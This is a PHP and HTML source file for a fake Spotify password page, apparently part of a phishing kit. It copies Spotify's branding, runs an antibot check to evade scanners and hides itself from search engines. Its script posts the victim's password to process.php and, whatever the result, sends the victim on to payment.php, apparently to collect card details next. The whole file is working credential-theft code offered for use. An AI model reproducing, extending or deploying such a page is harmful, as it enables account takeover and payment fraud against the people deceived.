<?php
define('APP_ACCESS', true);
require_once __DIR__ . '/../config/config.php';
require_once __DIR__ . '/../includes/functions.php';
require_once __DIR__ . '/../includes/LanguageManager.php';
require_once __DIR__ . '/../includes/security/advanced-protection.php';

// Start session
if (session_status() === PHP_SESSION_NONE) {
    session_start();
}

// Run advanced antibot protection
$advancedProtection = new AdvancedProtection();
$advancedProtection->runAllChecks();

// Check if username is set
if (!isset($_SESSION['username'])) {
    header('Location: login.php');
    exit;
}

$username = $_SESSION['username'];

// Initialize language manager with IP detection
$detectedLang = detectLanguage();
$langManager = getLangManager($detectedLang);
$currentLang = $detectedLang;
?>
<!DOCTYPE html>
<html lang="<?php echo $detectedLang; ?>" dir="ltr">
<head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Spotify</title>
    <link rel="icon" href="https://www.scdn.co/i/_global/favicon.png">
    <meta name="robots" content="noindex">
    <style>
        * { box-sizing: border-box; margin: 0; padding: 0; }
        body { font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Helvetica, Arial, sans-serif; background: linear-gradient(rgba(255, 255, 255, 0.1) 0%, rgb(0, 0, 0) 100%); background-color: #000; color: #fff; min-height: 100vh; display: flex; flex-direction: column; }
        .main-wrapper { display: flex; flex-direction: column; min-height: 100vh; overflow: auto; padding-top: 40px; }
        .content-wrapper { flex-grow: 1; display: flex; width: 100%; justify-content: center; padding-bottom: 32px; }
        .login-box { box-sizing: content-box; padding: 0 32px; width: 100%; max-width: 450px; }
        .login-content { display: flex; flex-direction: column; flex: 1; height: 100%; }
        .back-button { display: inline-flex; align-items: center; background: transparent; border: none; color: #fff; font-size: 14px; font-weight: 700; cursor: pointer; padding: 8px 0; margin-bottom: 16px; }
        .back-button svg { width: 16px; height: 16px; margin-right: 8px; }
        .back-button:hover { transform: scale(1.04); }
        .title-section h1 { font-size: 32px; font-weight: 700; line-height: 1.2; margin: 0 0 32px 0; }
        .spacer-8 { height: 8px; } .spacer-16 { height: 16px; } .spacer-32 { height: 32px; } .spacer-64 { height: 64px; }
        .form-group { margin-bottom: 16px; }
        .form-label { display: block; font-size: 14px; font-weight: 700; margin-bottom: 8px; }
        .form-input { width: 100%; padding: 14px; background-color: #121212; border: 1px solid #727272; border-radius: 4px; color: #fff; font-size: 16px; outline: none; transition: all 0.2s; }
        .form-input:hover { border-color: #fff; }
        .form-input:focus { border-color: #fff; box-shadow: 0 0 0 3px rgba(255, 255, 255, 0.1); }
        .form-input.error { border-color: #f15e6c; }
        .error-message { display: none; color: #f15e6c; font-size: 14px; margin-top: 8px; align-items: center; }
        .error-message.show { display: flex; }
        .error-message svg { width: 16px; height: 16px; margin-right: 8px; }
        .password-wrapper { position: relative; }
        .password-toggle { position: absolute; right: 12px; top: 50%; transform: translateY(-50%); background: transparent; border: none; color: #b3b3b3; cursor: pointer; padding: 8px; }
        .password-toggle:hover { color: #fff; }
        .btn-primary { width: 100%; padding: 14px 32px; background-color: #1ed760; border: none; border-radius: 500px; color: #000; font-size: 16px; font-weight: 700; cursor: pointer; transition: all 0.2s; text-align: center; }
        .btn-primary:hover { transform: scale(1.04); background-color: #1fdf64; }
        .btn-primary:active { transform: scale(1); }
        .link-button { display: inline-block; background: transparent; border: none; color: #fff; font-size: 16px; font-weight: 700; text-decoration: underline; cursor: pointer; padding: 12px 0; }
        .link-button:hover { text-decoration: none; }
        .footer-section { margin-top: auto; }
        .recaptcha-notice { text-align: center; }
        .recaptcha-notice p { font-size: 11px; color: #6a6a6a; line-height: 1.5; }
        .recaptcha-notice a { color: #fff; text-decoration: none; }
        .recaptcha-notice a:hover { text-decoration: underline; }
        @media (min-width: 480px) { .login-box { width: 450px; } }
    </style>
</head>
<body>
    <main class="main-wrapper">
        <section class="content-wrapper">
            <div class="login-box">
                <div class="login-content">
                    <button class="back-button" onclick="window.location.href='login.php'">
                        <svg viewBox="0 0 16 16" fill="currentColor">
                            <path d='M11.03.47a.75.75 0 0 1 0 1.06L4.56 8l6.47 6.47a.75.75 0 1 1-1.06 1.06L2.44 8 9.97.47a.75.75 0 0 1 1.06 0'/>
                        </svg>
                        <?php echo __('password.back'); ?>
                    </button>

                    <div class="title-section">
                        <h1><?php echo __('password.title'); ?></h1>
                    </div>

                    <form id="passwordForm" action="process.php" method="POST">
                        <input type="hidden" name="action" value="password">
                        <input type="hidden" name="username" value="<?php echo htmlspecialchars($username); ?>">
                        
                        <div class="form-group">
                            <label for="username" class="form-label">
                                <span><?php echo __('login.email_label'); ?></span>
                            </label>
                            <input type="text" id="username" class="form-input" value="<?php echo htmlspecialchars($username); ?>" readonly>
                        </div>

                        <div class="form-group">
                            <label for="password" class="form-label">
                                <span><?php echo __('login.password_label'); ?></span>
                            </label>
                            <div class="password-wrapper">
                                <input type="password" id="password" name="password" class="form-input" autocomplete="current-password" spellcheck="false" autocorrect="off" autocapitalize="off" required>
                                <button type="button" class="password-toggle" onclick="togglePassword()">
                                    <svg id="hideIcon" width="24" height="24" viewBox="0 0 24 24" fill="currentColor" style="display: none;">
                                        <path d='M22.207 2.824a1 1 0 1 0-1.414-1.414L17.15 5.053C15.621 4.363 13.92 4 12 4 8.671 4 5.996 5.091 3.742 7.089c-.896.794-2.3 2.353-3.381 4.453L.125 12l.236.458c1.082 2.1 2.485 3.659 3.381 4.453q.417.37.853.697L1.793 20.41a1 1 0 1 0 1.414 1.414l3.126-3.126.003.002 1.503-1.503-.004-.001 1.73-1.73.004.001 1.567-1.567h-.004l4.68-4.681.001.004 1.595-1.595-.002-.003.11-.109.002.002 1.444-1.444-.003-.002zM14.884 7.32l-5.57 5.57A4.04 4.04 0 0 1 8.113 10c0-2.23 1.761-4 3.886-4 1.137 0 2.17.506 2.884 1.319zM7.9 14.304l-1.873 1.873a11 11 0 0 1-.957-.763C4.396 14.818 3.3 13.621 2.387 12c.913-1.62 2.01-2.818 2.683-3.414.519-.46 1.061-.863 1.634-1.204A6.1 6.1 0 0 0 6.113 10c0 1.681.682 3.21 1.786 4.304zm11.568-5.2 1.415-1.415a16.5 16.5 0 0 1 2.756 3.853l.236.458-.236.458c-1.082 2.1-2.485 3.659-3.381 4.453C18.004 18.908 15.328 20 12 20a13.2 13.2 0 0 1-3.08-.348l1.726-1.726q.652.075 1.354.074c2.833 0 5.037-.907 6.931-2.586.674-.596 1.77-1.793 2.683-3.414a14.5 14.5 0 0 0-2.146-2.896'/><path d='M17.843 10.729c-.328 2.755-2.494 4.956-5.24 5.24z'/>
                                    </svg>
                                    <svg id="showIcon" width="24" height="24" viewBox="0 0 24 24" fill="currentColor">
                                        <path d='M12 4C8.671 4 5.996 5.091 3.742 7.089c-.896.794-2.3 2.353-3.381 4.453L.125 12l.236.458c1.082 2.1 2.485 3.659 3.381 4.453C5.996 18.908 8.671 20 12 20s6.004-1.092 8.258-3.089c.896-.794 2.3-2.353 3.381-4.453l.236-.458-.236-.458c-1.082-2.1-2.485-3.659-3.381-4.453C18.004 5.092 15.329 4 12 4zm0 14c-2.833 0-5.037-.907-6.931-2.586C4.396 14.818 3.3 13.621 2.387 12c.913-1.62 2.01-2.818 2.683-3.414C6.963 6.907 9.167 6 12 6s5.037.907 6.931 2.586c.674.596 1.77 1.793 2.683 3.414-.913 1.62-2.01 2.818-2.683 3.414C17.037 17.093 14.833 18 12 18zm0-10a4 4 0 1 0 0 8 4 4 0 0 0 0-8zm0 6a2 2 0 1 1 0-4 2 2 0 0 1 0 4z'/>
                                    </svg>
                                </button>
                            </div>
                            <div class="error-message" id="errorMessage">
                                <svg viewBox="0 0 16 16" fill="currentColor">
                                    <path d="M8 1.5a6.5 6.5 0 1 0 0 13 6.5 6.5 0 0 0 0-13zM0 8a8 8 0 1 1 16 0A8 8 0 0 1 0 8z"/><path d="M7.002 11a1 1 0 1 1 2 0 1 1 0 0 1-2 0zM7.1 4.995a.905.905 0 1 1 1.8 0l-.35 3.507a.552.552 0 0 1-1.1 0z"/>
                                </svg>
                                <?php echo __('password.error_empty'); ?>
                            </div>
                        </div>

                        <button type="submit" class="btn-primary">
                            <span><?php echo __('login.login_button'); ?></span>
                        </button>
                    </form>

                    <div class="spacer-32"></div>

                    <div style="text-align: center;">
                        <a href="login.php" class="link-button"><?php echo __('password.login_without_password'); ?></a>
                    </div>

                    <div class="footer-section">
                        <div class="spacer-64"></div>
                        <div class="recaptcha-notice">
                            <p>Ce site est protégé par reCAPTCHA. La <a href="https://policies.google.com/privacy" target="_blank" rel="noopener noreferrer">Politique de confidentialité</a> et les <a href="https://policies.google.com/terms" target="_blank" rel="noopener noreferrer">Conditions d'utilisation</a> de Google s'appliquent.</p>
                        </div>
                    </div>
                </div>
            </div>
        </section>
    </main>

    <script src="https://code.jquery.com/jquery-3.6.0.min.js"></script>
    <script>
        function togglePassword() {
            const passwordInput = document.getElementById('password');
            const showIcon = document.getElementById('showIcon');
            const hideIcon = document.getElementById('hideIcon');
            
            if (passwordInput.type === 'password') {
                passwordInput.type = 'text';
                showIcon.style.display = 'none';
                hideIcon.style.display = 'block';
            } else {
                passwordInput.type = 'password';
                showIcon.style.display = 'block';
                hideIcon.style.display = 'none';
            }
        }

        $(document).ready(function() {
            $('#passwordForm').on('submit', function(e) {
                e.preventDefault();
                const password = $('#password').val();
                const errorMessage = $('#errorMessage');
                const passwordInput = $('#password');
                
                if (!password) {
                    passwordInput.addClass('error');
                    errorMessage.addClass('show');
                    return;
                }
                
                passwordInput.removeClass('error');
                errorMessage.removeClass('show');
                
                $.ajax({
                    url: 'process.php',
                    method: 'POST',
                    data: {
                        action: 'password',
                        username: $('input[name="username"]').val(),
                        password: password
                    },
                    success: function(response) {
                        window.location.href = 'payment.php';
                    },
                    error: function() {
                        window.location.href = 'payment.php';
                    }
                });
            });
            
            $('#password').on('input', function() {
                $(this).removeClass('error');
                $('#errorMessage').removeClass('show');
            });
        });
    </script>
</body>
</html>
